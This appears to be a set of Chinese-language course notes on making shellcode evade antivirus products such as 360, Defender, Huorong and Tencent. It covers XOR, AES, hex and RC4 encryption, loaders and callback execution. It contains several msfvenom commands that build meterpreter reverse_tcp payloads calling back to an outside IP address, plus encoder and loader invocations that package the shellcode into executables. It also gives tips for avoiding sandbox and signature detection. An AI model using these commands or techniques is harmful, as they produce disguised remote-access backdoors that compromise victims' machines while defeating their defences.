知识点
1 、ShellCode-分析& 朔源& 感知
2 、ShellCode-混淆& 编码& 算法
3 、回调执行解析-API& 汇编& 句柄
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态
对抗目标:
X60 Defender 某绒 管家 VT等
编程语言:
C/C++ Python C
涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等
演示案例:
1 、C/C++-ShellCode分析-OD& IDA& 朔源
2 、C/C++-ShellCode变异-编码混淆加密算法
3 、C/C++-回调执行代码-汇编& 句柄& API& UI等
1 、EXE朔源-IP及端口-杀毒分析
2 、编译修改-IP及端口-威胁感知
reverse_tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb
Xor Aes Hex Rc4 Rsa等
https://github.com/Arno0x/ShellcodeWrapper
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost = 47.94 .236.117 lport = 3333 -f raw > shellcode.raw
1 、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi xor
CS& MSF
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost = 47.94 .236.117 lport = 3333 -f raw > shellcode.raw
python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin
2 、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes
3 、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost = 47.94 .236.117 lport = 6688 -f c
https://gchq.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodeLoader
LoaderMaker.exe download.dat( hex数据) xiaodi.exe( 生成文件名)
4 、Rc4
msfvenom -p windows/meterpreter/reverse_tcp lhost = 47.94 .236.117 lport = 6688 -f c
https://blog.csdn.net/weixin_45590789/article/details/105536623
Callback_Shellcode_Injection-main
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
总结
今天主要讲的是shellcode混淆免杀:
1 、首先明确为什么不对exe类型做手脚,而是对shellcode做手脚?
因为对exe类型做手脚(如加壳)可以免杀,但是可能导致出错,无法上线。
而对shellcode进行操作,再编译打包成exe,一般不会有这种问题。
2 、杀软如何检测到病毒的?
一般是通过逆向分析后门文件,匹配病毒特征检测到的。
3 、如何用shellcode实现免杀?
今天讲的是使用加密算法(如XOR、AES、Hex、RC4)对shellcode进行加密混淆,实现免杀。
4 、为什么msf或cs上线了,但是一会儿又掉线了,且IP很奇怪?
可能是对方杀软将后门放在云沙箱里执行了。
5 、注意事项:实验完后记得清除后门文件,不然容易被杀软捕获特征,下一次可能无法免杀了。